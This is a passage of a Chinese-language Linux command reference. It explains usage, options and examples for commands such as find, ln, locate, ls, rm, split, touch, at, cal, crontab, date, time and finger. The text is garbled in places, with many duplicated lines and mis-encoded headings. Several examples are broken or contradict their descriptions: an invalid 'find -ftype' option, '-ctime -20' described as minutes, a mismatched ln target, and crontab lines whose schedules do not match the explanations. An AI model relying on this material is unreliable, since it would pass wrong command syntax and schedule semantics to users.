    -ctime n :在過去n天過修改過的檔案
    -ctime n :在過去n天過修改過的檔案
    -empty :空的檔案-gid n or -group name : gid是n或是group名稱是
    name
    -ipath p, -path p :路徑名稱符合p的檔案,ipath會忽略大小寫
    -name name, -iname name :檔案名稱符合name的檔案。 iname會忽略大小寫
    -size n :檔案大小是n單位,b代表512位元組的區塊,c表示字元數,k
    表示kilo bytes,w是二個位元組。 -type c :檔案類型是c的檔案。
    d:目錄
    c:字型裝置檔案
    b:區塊裝置檔案
    p:具名貯列
    f:一般檔案
    l:符號連結
    s: socket
    -pid n : process id是n的檔案
    你可以使用( )將運算式分隔,並使用下列運算。
    exp1 -and exp2
    ! expr
    -not expr
    exp1 -or exp2
    exp1, exp2
    範例:
    將目前目錄及其子目錄下所有延伸檔名是c的檔案列出來。
    將目前目錄及其子目錄下所有延伸檔名是c的檔案列出來。
    # find . -name “*.c”
    將目前目錄其其下子目錄中所有一般檔案列出
    # find . -ftype f
    將目前目錄及其子目錄下所有最近20分鐘內更新過的檔案列出
    # find . -ctime -20
    名稱:less
    使用權限:所有使用者
    使用方式:
    less [Option] filename
    說明:
    less的作用與more十分相似,都可以用來瀏覽文字檔案的內容,不同的是
    less允許使用者往回捲動
    以瀏覽已經看過的部份,同時因為less並未在一開始就讀入整個檔案,因此在
    遇上大型檔案的開啟時,會比一般的文書編輯器(如vi)來的快速。
    範例:
    指令名稱: ln
    使用權限:所有使用者
    使用方式: ln [options] source dist,其中option的格式為:
    [-bdfinsvF] [-S backup-suffix] [-V {numbered,existing,simple}]
    [–help] [–version] [–]
    說明: Linux/Unix檔案系統中,有所謂的連結(link),我們可以將其視為檔案
    的別名,而連結又可分為兩種:硬連結(hard link)與軟連結(symbolic link),
    的別名,而連結又可分為兩種:硬連結(hard link)與軟連結(symbolic link),
    硬連結的意思是一個檔案可以有多個名稱,而軟連結的方式則是產生一個特殊的
    檔案,該檔案的內容是指向另一個檔案的位置。硬連結是存在同一個檔案系統中
    ,而軟連結卻可以跨越不同的檔案系統。
    ln source dist是產生一個連結(dist)到source,至於使用硬連結或軟鏈結則
    由參數決定。
    不論是硬連結或軟鏈結都不會將原本的檔案複製一份,只會佔用非常少量的磁碟
    空間。
    -f :鏈結時先將與dist同檔名的檔案刪除-d :允許系統管理者硬鏈結自己的
    目錄-i :在刪除與dist同檔名的檔案時先進行詢問-n :在進行軟連結時,將
    dist視為一般的檔案-s :進行軟鏈結(symbolic link)-v :在連結之前顯示其
    檔名-b :將在鏈結時會被覆寫或刪除的檔案進行備份-S SUFFIX :將備份的檔案
    都加上SUFFIX的字尾-V METHOD :指定備份的方式–help :顯示輔助說
    明–version :顯示版本
    範例:
    將檔案yy產生一個symbolic link : zz
    ln -s yy zz
    將檔案yy產生一個hard link : zz
    ln yy xx
    名稱:locate
    使用權限:所有使用者
    使用方式: locate [-q] [-d ] [–database=]
    locate [-r ] [–regexp=]
    locate [-r ] [–regexp=]
    locate [-qv] [-o ] [–output=]
    locate [-e ] [-f ] <[-l ] [-c]
    <[-U ] [-u]>
    locate [-Vh] [–version] [–help]
    說明:
    locate讓使用者可以很快速的搜尋檔案系統內是否有指定的檔案。其方法是先建
    立一個包括系統內所有檔案名稱及路徑的資料庫,之後當尋找時就只需查詢這個
    資料庫,而不必實際深入檔案系統之中了。
    在一般的distribution之中,資料庫的建立都被放在contab中自動執行。一
    般使用者在使用時只要用
    # locate your_file_name
    的型式就可以了。參數:
    -u
    -U
    建立資料庫,-u會由根目錄開始,-U則可以指定開始的位置。
    -e

    排除在尋找的範圍之外。
    -l
    如果是1.則啟動安全模式。在安全模式下,使用者不會看到權限無法看到的檔
    案。這會始速度減慢,因為locate必須至實際的檔案系統中取得檔案的權限資
    料。
    料。
    -f
    將特定的檔案系統排除在外,例如我們沒有到理要把proc檔案系統中的檔案放
    在資料庫中。
    -q
    安靜模式,不會顯示任何錯誤訊息。
    -n
    至多顯示個輸出。
    -r
    使用正規運算式做尋找的條件。
    -o
    指定資料庫存的名稱。
    -d
    指定資料庫的路徑
    -h
    顯示輔助訊息
    -v
    顯示更多的訊息
    -V
    顯示程式的版本訊息範例:
    locate chdrv :尋找所有叫chdrv的檔案
    locate -n 100 a.out :尋找所有叫a.out的檔案,但最多只顯示100個
    locate -u :建立資料庫
    locate -u :建立資料庫
    名稱: ls
    使用權限:所有使用者
    使用方式: ls [-alrtAFR] [name…]
    說明:顯示指定工作目錄下之內容(列出目前工作目錄所含之檔案及子目錄)。
    -a顯示所有檔案及目錄(ls內定將檔案名或目錄名稱開頭為”.”的視為隱藏檔,
    不會列出)
    -l除檔案名稱外,亦將檔案型態、權限、擁有者、檔案大小等資訊詳細列出
    -r將檔案以相反次序顯示(原定依英文字母次序)
    -t將檔案依建立時間之先後次序列出
    -A同-a ,但不列出”.” (目前目錄)及”..” (父目錄)
    -F在列出的檔案名稱後加一符號;例如可執行檔則加”*”,目錄則加”/”
    -R若目錄下有檔案,則以下之檔案亦皆依序列出
    範例:
    列出目前工作目錄下所有名稱是s開頭的檔案,愈新的排癒後面:
    ls -ltr s*
    將/bin目錄以下所有目錄及檔案詳細資料列出:
    ls -lR /bin
    列出目前工作目錄下所有檔案及目錄;目錄於名稱後加”/”,可執行檔於名稱後
    加”*” :
    ls -AF
    名稱:more
    使用權限:所有使用者
    使用權限:所有使用者
    使用方式:more [-dlfpcsu] [-num] [+/pattern] [+linenum] [fileNames..]
    說明:類似cat ,不過會以一頁一頁的顯示方便使用者逐頁閱讀,而最基本的指
    令就是按空白鍵(space)就往下一頁顯示,按b鍵就會往回(back)一頁顯示
    ,而且還有搜尋字串的功能(與vi相似),使用中的說明文件,請按h 。
    參數:-num一次顯示的行數
    -d提示使用者,在畫面下方顯示[Press space to continue, q to quit.] ,
    如果使用者按錯鍵,則會顯示[Press h for instructions.]而不是嗶聲
    -l取消遇見特殊字元^L(送紙字元)時會暫停的功能
    -f計算行數時,以實際上的行數,而非自動換行過後的行數(有些單行字數太長
    的會被擴展為兩行或兩行以上)
    -p不以捲動的方式顯示每一頁,而是先清除螢幕後再顯示內容
    -c跟-p相似,不同的是先顯示內容再清除其他舊資料
    -s當遇到有連續兩行以上的空白行,就代換為一行的空白行
    -u不顯示下引號(根據環境變數TERM指定的terminal而有所不同)
    +/在每個檔案顯示前搜尋該字串(pattern),然後從該字串之後開始顯示
    +num從第num行開始顯示
    fileNames欲顯示內容的檔案,可為複數個數
    範例:
    more -s testfile逐頁顯示testfile之檔案內容,如有連續兩行以上空白行則
    以一行空白行顯示。
    more +20 testfile從第20行開始顯示testfile之檔案內容。
    名稱:mv
    使用權限:所有使用者
    使用方式:
    mv [options] source dest
    mv [options] source… directory
    說明:將一個檔案移至另一檔案,或將數個檔案移至另一目錄。
    參數:-i若目的地已有同名檔案,則先詢問是否覆蓋舊檔。
    範例:
    將檔案aaa更名為bbb :
    mv aaa bbb
    將所有的C語言程式移至Finished子目錄中:
    mv -i *.c
    名稱:rm
    使用權限:所有使用者
    使用方式:rm [options] name…
    說明:刪除檔案及目錄。
    把計
    -i刪除前逐一詢問確認。
    -f即使原檔案屬性設為唯讀,亦直接刪除,無需逐一確認。
    -r將目錄及以下之檔案亦逐一刪除。
    範例:
    刪除所有C語言程式檔;刪除前逐一詢問確認:
    rm -i *.c
    rm -i *.c
    將Finished子目錄及子目錄中所有檔案刪除:
    rm -r Finished
    名稱:rmdir
    使用權限:於目前目錄有適當權限的所有使用者
    使用方式: rmdir [-p] dirName
    說明:刪除空的目錄。
    參數: -p是當子目錄被刪除後使它也成為空目錄的話,則順便一併刪除。
    範例:
    將工作目錄下,名為AAA的子目錄刪除:
    rmdir AAA
    在工作目錄下的BBB目錄中,刪除名為Test的子目錄。若Test刪除後,BBB
    目錄成為空目錄,則BBB亦予刪除。
    rmdir -p BBB/Test
    名稱:split
    使用權限:所有使用者
    使用方式:split [OPTION] [INPUT [PREFIX]]
    說明:
    將一個檔案分割成數個。而從INPUT分割輸出成固定大小的檔案,其檔名依序為
    PREFIXaa, PREFIXab…;PREFIX預設值為`x。若沒有INPUT檔或為`-,則從
    標準輸入讀進資料。
    匡兜
    -b, –bytes=SIZE
    -b, –bytes=SIZE
    SIZE值為每一輸出檔案的大小,單位為byte。
    -C, –line-bytes=SIZE
    每一輸出檔中,單行的最大byte數。
    -l, –lines=NUMBER
    NUMBER值為每一輸出檔的列數大小。
    -NUMBER
    與-l NUMBER相同。
    –verbose
    於每個輸出檔被開啟前,列印出偵錯資訊到標準錯誤輸出。
    –help
    顯示輔助資訊然後離開。
    –version
    列出版本資訊然後離開。
    SIZE可加入單位: b代表512, k代表1K, m代表1 Meg。
    範例:
    PostgresSQL大型資料庫備份與回存:
    因Postgres允許表格大過你係統檔案的最大容量,所以要將表格dump到單一
    的檔案可能會有問題,使用split進行檔案分割。
    % pg_dump dbname | split -b 1m – filename.dump.
    重新載入
    % createdb dbname
    % cat filename.dump.* | pgsql dbname
    % cat filename.dump.* | pgsql dbname
    名稱:touch
    使用權限:所有使用者
    使用方式:
    touch [-acfm]
    [-r reference-file] [–file=reference-file]
    [-t MMDDhhmm[[CC]YY][.ss]]
    [-d time] [–date=time] [–time={atime,access,use,mtime,modify}]
    [–no-create] [–help] [–version]
    file1 [file2 …]
    說明:
    touch指令改變檔案的時間記錄。 ls -l可以顯示檔案的時間記錄。
    參數:
    a改變檔案的讀取時間記錄。
    m改變檔案的修改時間記錄。
    c假如目的檔案不存在,不會建立新的檔案。與–no-create的效果一樣。
    f不使用,是為了與其他unix系統的相容性而保留。
    r使用參考檔的時間記錄,與–file的效果一樣。
    d設定時間與日期,可以使用各種不同的格式。
    t設定檔案的時間記錄,格式與date指令相同。
    –no-create不會建立新檔案。
    –help列出指令格式。
    –version列出版本訊息。
    –version列出版本訊息。
    範例:
    最簡單的使用方式,將檔案的時候記錄改為現在的時間。若檔案不存在,系統會
    建立一個新的檔案。
    touch file
    touch file1 file2
    將file的時間記錄改為5月6日18點3分,公元兩千年。時間的格式可以
    參考date指令,至少需輸入MMDDHHmm ,就是月日時與分。
    touch -c -t 05061803 file
    touch -c -t 050618032000 file
    將file的時間記錄改變成與referencefile一樣。
    touch -r referencefile file
    將file的時間記錄改成5月6日18點3分,公元兩千年。時間可以使用
    am, pm或是24小時的格式,日期可以使用其他格式如6 May 2000 。
    touch -d “6:03pm” file
    touch -d “05/06/2000” file
    touch -d “6:03pm 05/06/2000” file
    名稱: at
    使用權限:所有使用者
    使用方式: at -V [-q queue] [-f file] [-mldbv] TIME
    說明: at可以讓使用者指定在TIME這個特定時刻執行某個程式或指令,TIME
    的格式是HH:MM其中的HH為小時,MM為分鐘,甚至你也可以指定am, pm,
    midnight, noon, teatime(就是下午4點鍾)等口語詞。
    midnight, noon, teatime(就是下午4點鍾)等口語詞。
    如果想要指定超過一天內的時間,則可以用MMDDYY或者MM/DD/YY的格式,其
    中MM是分鐘,DD是第幾日,YY是指年份。另外,使用者甚至也可以使用像是
    now +時間間隔來彈性指定時間,其中的時間間隔可以是minutes, hours,
    days, weeks
    另外,使用者也可指定today或tomorrow來表示今天或明天。當指定了時間並
    按下enter之後,at會進入交談模式並要求輸入指令或程式,當你輸入完後按
    下ctrl+D即可完成所有動作,至於執行的結果將會寄回你的帳號中。
    把計:
    -V :印出版本編號
    -q :使用指定的佇列(Queue)來儲存,at的資料是存放在所謂的queue中,使
    用者可以同時使用多個queue,而queue的編號為a, b, c… z以及A, B,
    … Z共52個
    -m :即使程式/指令執行完成後沒有輸出結果,也要寄封信給使用者
    -f file :讀入預先寫好的命令檔。使用者不一定要使用交談模式來輸入,可以
    先將所有的指定先寫入檔案後再一次讀入
    -l :列出所有的指定(使用者也可以直接使用atq而不用at -l)
    -d :刪除指定(使用者也可以直接使用atrm而不用at -d)
    -v :列出所有已經完成但尚未刪除的指定
    例子:
    三天后的下午5點鍾執行/bin/ls :
    at 5pm + 3 days /bin/ls
    三個星期後的下午5點鍾執行/bin/ls :
    三個星期後的下午5點鍾執行/bin/ls :
    at 5pm + 2 weeks /bin/ls
    明天的17:20執行/bin/date :
    at 17:20 tomorrow /bin/date
    1999年的最後一天的最後一分鐘印出the end of world !
    at 23:59 12/31/1999 echo the end of world !
    名稱:cal
    使用權限:所有使用者
    使用方式:cal [-mjy] [month [year]]
    說明:
    顯示日曆。若只有一個參數,則代表年份(1-9999),顯示該年的年曆。年份必須
    全部寫出:“cal 89將不會是顯示1989年的年曆。使用兩個參數,則表示月份
    及年份。若沒有參數則顯示這個月的月曆。
    1752年9月第3日起改用西洋新歷,因這時大部份的國家都採用新歷,有10
    天被去除,所以該月份的月曆有些不同。在此之前為西洋舊曆。
    匡兜
    -m :以星期一為每週的第一天方式顯示。
    -j :以凱撒歷顯示,即以一月一日起的天數顯示。
    -y :顯示今年年曆。
    範例:
    cal :顯示本月的月曆。
    [root@mylinux /root]# date
    Tue Aug 15 08:00:18 CST 2000
    Tue Aug 15 08:00:18 CST 2000
    [root@mylinux /root]# cal
    August 2000
    Su Mo Tu We Th Fr Sa
    1 2 3 4 5
    6 7 8 9 10 11 12
    13 14 15 16 17 18 19
    20 21 22 23 24 25 26
    27 28 29 30 31
    [root@mylinux /root]#
    cal 2001 :顯示公元2001年年曆。
    [root@mylinux /root]# cal 2001
    2001
    January February March
    Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa
    1 2 3 4 5 6 1 2 3 1 2 3
    7 8 9 10 11 12 13 4 5 6 7 8 9 10 4 5 6 7 8 9 10
    14 15 16 17 18 19 20 11 12 13 14 15 16 17 11 12 13 14 15 16 17
    21 22 23 24 25 26 27 18 19 20 21 22 23 24 18 19 20 21 22 23 24
    28 29 30 31 25 26 27 28 25 26 27 28 29 30 31
    April May June
    Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa
    1 2 3 4 5 6 7 1 2 3 4 5 1 2
    1 2 3 4 5 6 7 1 2 3 4 5 1 2
    8 9 10 11 12 13 14 6 7 8 9 10 11 12 3 4 5 6 7 8 9
    15 16 17 18 19 20 21 13 14 15 16 17 18 19 10 11 12 13 14 15 16
    22 23 24 25 26 27 28 20 21 22 23 24 25 26 17 18 19 20 21 22 23
    29 30 27 28 29 30 31 24 25 26 27 28 29 30
    July August September
    Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa
    1 2 3 4 5 6 7 1 2 3 4 1
    8 9 10 11 12 13 14 5 6 7 8 9 10 11 2 3 4 5 6 7 8
    15 16 17 18 19 20 21 12 13 14 15 16 17 18 9 10 11 12 13 14 15
    22 23 24 25 26 27 28 19 20 21 22 23 24 25 16 17 18 19 20 21 22
    29 30 31 26 27 28 29 30 31 23 24 25 26 27 28 29
    30
    October November December
    Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa Su Mo Tu We Th Fr Sa
    1 2 3 4 5 6 1 2 3 1
    7 8 9 10 11 12 13 4 5 6 7 8 9 10 2 3 4 5 6 7 8
    14 15 16 17 18 19 20 11 12 13 14 15 16 17 9 10 11 12 13 14 15
    21 22 23 24 25 26 27 18 19 20 21 22 23 24 16 17 18 19 20 21 22
    28 29 30 31 25 26 27 28 29 30 23 24 25 26 27 28 29
    30 31
    [root@mylinux /root]#
    cal 5 2001 :顯示公元2001年5月月曆。
    cal 5 2001 :顯示公元2001年5月月曆。
    [root@mylinux /root]# cal 5 2001
    May 2001
    Su Mo Tu We Th Fr Sa
    1 2 3 4 5
    6 7 8 9 10 11 12
    13 14 15 16 17 18 19
    20 21 22 23 24 25 26
    27 28 29 30 31
    [root@mylinux /root]#
    cal -m :以星期一為每週的第一天方式,顯示本月的月曆。
    [root@mylinux /root]# cal -m
    August 2000
    Mo Tu We Th Fr Sa Su
    1 2 3 4 5 6
    7 8 9 10 11 12 13
    14 15 16 17 18 19 20
    21 22 23 24 25 26 27
    28 29 30 31
    [root@mylinux /root]#
    cal -jy :以一月一日起的天數顯示今年的年曆。
    [root@mylinux /root]# cal -jy
    2000
    2000
    January February
    Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
    1 32 33 34 35 36
    2 3 4 5 6 7 8 37 38 39 40 41 42 43
    9 10 11 12 13 14 15 44 45 46 47 48 49 50
    16 17 18 19 20 21 22 51 52 53 54 55 56 57
    23 24 25 26 27 28 29 58 59 60
    30 31
    March April
    Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
    61 62 63 64 92
    65 66 67 68 69 70 71 93 94 95 96 97 98 99
    72 73 74 75 76 77 78 100 101 102 103 104 105 106
    79 80 81 82 83 84 85 107 108 109 110 111 112 113
    86 87 88 89 90 91 114 115 116 117 118 119 120
    121
    May June
    Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
    122 123 124 125 126 127 153 154 155
    128 129 130 131 132 133 134 156 157 158 159 160 161 162
    135 136 137 138 139 140 141 163 164 165 166 167 168 169
    142 143 144 145 146 147 148 170 171 172 173 174 175 176
    142 143 144 145 146 147 148 170 171 172 173 174 175 176
    149 150 151 152 177 178 179 180 181 182
    July August
    Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
    183 214 215 216 217 218
    184 185 186 187 188 189 190 219 220 221 222 223 224 225
    191 192 193 194 195 196 197 226 227 228 229 230 231 232
    198 199 200 201 202 203 204 233 234 235 236 237 238 239
    205 206 207 208 209 210 211 240 241 242 243 244
    212 213
    September October
    Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
    245 246 275 276 277 278 279 280 281
    247 248 249 250 251 252 253 282 283 284 285 286 287 288
    254 255 256 257 258 259 260 289 290 291 292 293 294 295
    261 262 263 264 265 266 267 296 297 298 299 300 301 302
    268 269 270 271 272 273 274 303 304 305
    November December
    Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat
    306 307 308 309 336 337
    310 311 312 313 314 315 316 338 339 340 341 342 343 344
    317 318 319 320 321 322 323 345 346 347 348 349 350 351
    324 325 326 327 328 329 330 352 353 354 355 356 357 358
    324 325 326 327 328 329 330 352 353 354 355 356 357 358
    331 332 333 334 335 359 360 361 362 363 364 365
    366
    名稱: crontab
    使用權限:所有使用者
    使用方式:
    crontab [ -u user ] filecrontab [ -u user ] { -l | -r | -e }
    說明:
    crontab是用來讓使用者在固定時間或固定間隔執行程式之用,換句話說,也就
    是類似使用者的時程表。 -u user是指設定指定user的時程表,這個前提是你
    必須要有其權限(比如說是root)才能夠指定他人的時程表。如果不使用-u
    user的話,就是表示設定自己的時程表。
    餐數:
    -e :執行文字編輯器來設定時程表,內定的文字編輯器是VI,如果你想用別的
    文字編輯器,則請先設定VISUAL環境變數來指定使用那個文字編輯器(比如說
    setenv VISUAL joe)
    -r :刪除目前的時程表
    -l :列出目前的時程表
    時程表的格式如下:
    f1 f2 f3 f4 f5 program
    其中f1是表示分鐘,f2表示小時,f3表示一個月份中的第幾日,f4表示月份
    ,f5表示一個星期中的第幾天。 program表示要執行的程式。
    ,f5表示一個星期中的第幾天。 program表示要執行的程式。
    當f1為*時表示每分鐘都要執行program,f2為*時表示每小時都要執行程
    式,其餘類推
    當f1為ab時表示從第a分鐘到第b分鐘這段時間內要執行,f2為ab時
    表示從第a到第b小時都要執行,其餘類推
    當f1為*/n時表示每n分鐘個時間間隔執行一次,f2為*/n表示每n小時
    個時間間隔執行一次,其餘類推
    當f1為a, b, c,…時表示第a, b, c,…分鐘要執行,f2為a, b,
    c,…時表示第a, b, c…個小時要執行,其餘類推
    使用者也可以將所有的設定先存放在檔案file中,用crontab file的方式來
    設定時程表。
    例子:
    每月每天每小時的第0分鐘執行一次/bin/ls :
    0 7 * * * /bin/ls
    在12月內,每天的早上6點到12點中,每隔20分鐘執行一次
    /usr/bin/backup :
    0 6-12/3 * 12 * /usr/bin/backup
    週一到週五每天下午5:00寄一封信給alex@domain.name :
    0 17 * * 1-5 mail -s “hi” alex@domain.name < /tmp/maildata
    每月每天的午夜0點20分, 2點20分, 4點20分….執行echo “haha”
    20 0-23/2 * * * echo “haha”
    注意:
    當程式在你所指定的時間執行後,系統會寄一封信給你,顯示該程式執行的內容
    當程式在你所指定的時間執行後,系統會寄一封信給你,顯示該程式執行的內容
    ,若是你不希望收到這樣的信,請在每一行空一格之後加上> /dev/null 2>&1
    即可。
    名稱: date
    使用權限:所有使用者
    使用方式:
    date [-u] [-d datestr] [-s datestr] [–utc] [–universal]
    [–date=datestr] [–set=datestr] [–help] [–version] [+FORMAT]
    [MMDDhhmm[[CC]YY][.ss]]
    說明:
    date可以用來顯示或設定係統的日期與時間,在顯示方面,使用者可以設定欲顯
    示的格式,格式設定為一個加號後接數個標記,其中可用的標記列表如下:
    時間方面:
    % :印出%
    %n :下一行
    %t :跳格
    %H :小時(00..23)
    %I :小時(01..12)
    %k :小時(0..23)
    %l :小時(1..12)
    %M :分鐘(00..59)
    %p :顯示本地AM或PM
    %r :直接顯示時間(12小時制,格式為hh:mm:ss [AP]M)
    %r :直接顯示時間(12小時制,格式為hh:mm:ss [AP]M)
    %s :從1970年1月1日00:00:00 UTC到目前為止的秒數
    %S :秒(00..61)
    %T :直接顯示時間(24小時制)
    %X :相當於%H:%M:%S
    %Z :顯示時區
    日期方面:
    %a :星期幾(Sun..Sat)
    %A :星期幾(Sunday..Saturday)
    %b :月份(Jan..Dec)
    %B :月份(January..December)
    %c :直接顯示日期與時間
    %d :日(01..31)
    %D :直接顯示日期(mm/dd/yy)
    %h :同%b
    %j :一年中的第幾天(001..366)
    %m :月份(01..12)
    %U :一年中的第幾週(00..53) (以Sunday為一周的第一天的情形)
    %w :一周中的第幾天(0..6)
    %W :一年中的第幾週(00..53) (以Monday為一周的第一天的情形)
    %x :直接顯示日期(mm/dd/yy)
    %y :年份的最後兩位數字(00.99)
    %Y :完整年份(0000..9999)
    %Y :完整年份(0000..9999)
    若是不以加號作為開頭,則表示要設定時間,而時間格式為
    MMDDhhmm[[CC]YY][.ss],其中MM為月份,DD為日,hh為小時,mm為分鐘
    ,CC為年份前兩位數字,YY為年份後兩位數字,ss為秒數
    把計:
    -d datestr :顯示datestr中所設定的時間(非系統時間)
    –help :顯示輔助訊息
    -s datestr :將系統時間設為datestr中所設定的時間
    -u :顯示目前的格林威治時間
    –version :顯示版本編號
    例子:
    顯示時間後跳行,再顯示目前日期:
    date +%T%n%D
    顯示月份與日數:
    date +%B %d
    顯示日期與設定時間(12:34:56) :
    date –date 12:34:56
    注意:
    當你不希望出現無意義的0時(比如說1999/03/07),則可以在標記中插入-符
    號,比如說date +%-H:%-M:%-S會把時分秒中無意義的0給去掉,像是原本的
    08:09:04會變為8:9:4。另外,只有取得權限者(比如說root)才能設定係統時
    間。
    當你以root身分更改了系統時間之後,請記得以clock -w來將系統時間寫入
    當你以root身分更改了系統時間之後,請記得以clock -w來將系統時間寫入
    CMOS中,這樣下次重新開機時系統時間才會持續抱持最新的正確值。
    名稱: sleep
    使用權限:所有使用者
    使用方式: sleep [–help] [–version] number[smhd]
    說明: sleep可以用來將目前動作延遲一段時間
    參數說明:
    –help :顯示輔助訊息
    –version :顯示版本編號
    number :時間長度,後面可接s、m、h或d
    其中s為秒,m為分鐘,h為小時,d為日數
    例子:
    顯示目前時間後延遲1分鐘,之後再次顯示時間:
    date;sleep 1m;date
    名稱: time
    使用權限:所有使用者
    使用方式: time [options] COMMAND [arguments]
    說明: time指令的用途,在於量測特定指令執行時所需消耗的時間及系統資源
    等資訊。例如CPU時間、記憶體、輸入輸出等等。需要特別注意的是,部分資訊
    在Linux上顯示不出來。這是因為在Linux上部分資源的分配函式與time指
    令所預設的方式並不相同,以致於time指令無法取得這些資料。
    把計
    -o or –output=FILE
    -o or –output=FILE
    設定結果輸出檔。這個選項會將time的輸出寫入所指定的檔案中。如果檔案已
    經存在,系統將覆寫其內容。
    -a or –append
    配合-o使用,會將結果寫到檔案的末端,而不會覆蓋掉原來的內容。
    -f FORMAT or –format=FORMAT
    以FORMAT字串設定顯示方式。當這個選項沒有被設定的時候,會用系統預設的
    格式。不過你可以用環境變數time來設定這個格式,如此一來就不必每次登入
    系統都要設定一次。
    一般設定上,你可以用
    t
    表示跳欄,或者是用
    n
    表示換行。每一項資料要用%做為前導。如果要在字串中使用百分比符號,就用
    。 (學過C語言的人大概會覺得很熟悉)
    time指令可以顯示的資源有四大項,分別是:
    Time resources
    Memory resources
    IO resources
    Command info
    詳細的內容如下:
    Time Resources
    E執行指令所花費的時間,格式是:[hour]:minute:second。請注意這個數字並
    E執行指令所花費的時間,格式是:[hour]:minute:second。請注意這個數字並
    不代表實際的CPU時間。
    e執行指令所花費的時間,單位是秒。請注意這個數字並不代表實際的CPU時間

    S指令執行時在核心模式(kernel mode)所花費的時間,單位是秒。
    U指令執行時在使用者模式(user mode)所花費的時間,單位是秒。
    P執行指令時CPU的佔用比例。其實這個數字就是核心模式加上使用者模式的
    CPU時間除以總時間。
    Memory Resources
    M執行時所佔用的實體記憶體的最大值。單位是KB
    t執行時所佔用的實體記憶體的平均值,單位是KB
    K執行程序所佔用的記憶體總量(stack+data+text)的平均大小,單位是KB
    D執行程序的自有資料區(unshared data area)的平均大小,單位是KB
    p執行程序的自有堆疊(unshared stack)的平均大小,單位是KB
    X執行程序間共享內容(shared text)的平均值,單位是KB
    Z系統記憶體頁的大小,單位是byte。對同一個系統來說這是個常數
    IO Resources
    F此程序的主要記憶體頁錯誤發生次數。所謂的主要記憶體頁錯誤是指某一記憶
    體頁已經置換到置換檔(swap file)中,而且已經分配給其他程序。此時該頁的
    內容必須從置換檔裡再讀出來。
    R此程序的次要記憶體頁錯誤發生次數。所謂的次要記憶體頁錯誤是指某一記憶
    體頁雖然已經置換到置換檔中,但尚未分配給其他程序。此時該頁的內容並未被
    破壞,不必從置換檔裡讀出來
    破壞,不必從置換檔裡讀出來
    W此程序被交換到置換檔的次數
    c此程序被強迫中斷(像是分配到的CPU時間耗盡)的次數
    w此程序自願中斷(像是在等待某一個I/O執行完畢,像是磁碟讀取等等)的次

    I此程序所輸入的檔案數
    O此程序所輸出的檔案數
    r此程序所收到的Socket Message
    s此程序所送出的Socket Message
    k此程序所收到的信號( Signal )數量
    Command Info
    C執行時的參數以及指令名稱
    x指令的結束代碼( Exit Status )
    -p or –portability
    這個選項會自動把顯示格式設定成為:
    real %e
    user %U
    sys %S
    這麼做的目的是為了與POSIX規格相容。
    -v or –verbose
    這個選項會把所有程式中用到的資源通通列出來,不但如一般英文語句,還有說
    明。對不想花時間去熟習格式設定或是剛剛開始接觸這個指令的人相當有用。
    範例:
    範例:
    利用下面的指令
    time -v ps -aux
    我們可以獲得執行ps -aux的結果和所花費的系統資源。如下面所列的資料:
    USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
    root 1 0.0 0.4 1096 472 ? S Apr19 0:04 init
    root 2 0.0 0.0 0 0 ? SW Apr19 0:00 [kflushd]
    root 3 0.0 0.0 0 0 ? SW Apr19 0:00 [kpiod]
    ……
    root 24269 0.0 1.0 2692 996 pts/3 R 12:16 0:00 ps -aux
    Command being timed: “ps -aux”
    User time (seconds): 0.05
    System time (seconds): 0.06
    Percent of CPU this job got: 68%
    Elapsed (wall clock) time (h:mm:ss or m:ss): 0:00.16
    Average shared text size (kbytes): 0
    Average unshared data size (kbytes): 0
    Average stack size (kbytes): 0
    Average total size (kbytes): 0
    Maximum resident set size (kbytes): 0
    Average resident set size (kbytes): 0
    Major (requiring I/O) page faults: 238
    Minor (reclaiming a frame) page faults: 46
    Minor (reclaiming a frame) page faults: 46
    Voluntary context switches: 0
    Involuntary context switches: 0
    Swaps: 0
    File system inputs: 0
    File system outputs: 0
    Socket messages sent: 0
    Socket messages received: 0
    Signals delivered: 0
    Page size (bytes): 4096
    Exit status: 0
    名稱: uptime
    使用權限:所有使用者
    使用方式: uptime [-V]
    說明: uptime提供使用者下面的資訊,不需其他參數:
    現在的時間
    系統開機運轉到現在經過的時間
    連線的使用者數量
    最近一分鐘,五分鐘和十五分鐘的系統負載
    參數: -V顯示版本資訊。
    範例: uptime
    其結果為:
    10:41am up 5 days, 10 min, 1 users, load average: 0.00, 0.00, 1.99
    10:41am up 5 days, 10 min, 1 users, load average: 0.00, 0.00, 1.99
    名稱:chfn
    使用權限:所有使用者
    用法:shell>> chfn
    說明:提供使用者更改個人資訊,用於finger and mail username
    範例:
    shell>> chfn
    Changing finger information for user
    Password: [del]
    Name[]:Johnney Huang ###提供finger時的資料
    Office[]:NCCU
    Office Phone[]: [del]
    Home Phone[]: [del]
    名稱:chsh
    使用權限:所有使用者
    用法:shell>> chsh
    說明:更改使用者shell設定
    範例:
    shell>> chsh
    Changing fihanging shell for user1
    Password: [del]
    New shell [/bin/tcsh]: ### [是目前使用的shell]
    [del]
    [del]
    shell>> chsh -l ###展示/etc/shells檔案內容
    /bin/bash
    /bin/sh
    /bin/ash
    /bin/bsh
    /bin/tcsh
    /bin/csh
    名稱: finger
    使用權限:所有使用者
    使用方式: finger [options] user[@address]
    說明:finger可以讓使用者查詢一些其他使用者的資料。會列出來的資料有:
    Login Name
    User Name
    Home directory
    Shell
    Login status
    mail status
    .plan
    .project
    .forward
    其中.plan ,.project和.forward就是使用者在他的Home Directory裡的
    其中.plan ,.project和.forward就是使用者在他的Home Directory裡的
    .plan , .project和.forward等檔案裡的資料。如果沒有就沒有。 finger指
    令並不限定於在同一伺服器上查詢,也可以尋找某一個遠端伺服器上的使用者。
    只要給一個像是E-mail address一般的地址即可。
    把計
    -l
    多行顯示。
    -s
    單行顯示。這個選項只顯示登入名稱,真實姓名,終端機名稱,閒置時間,登入
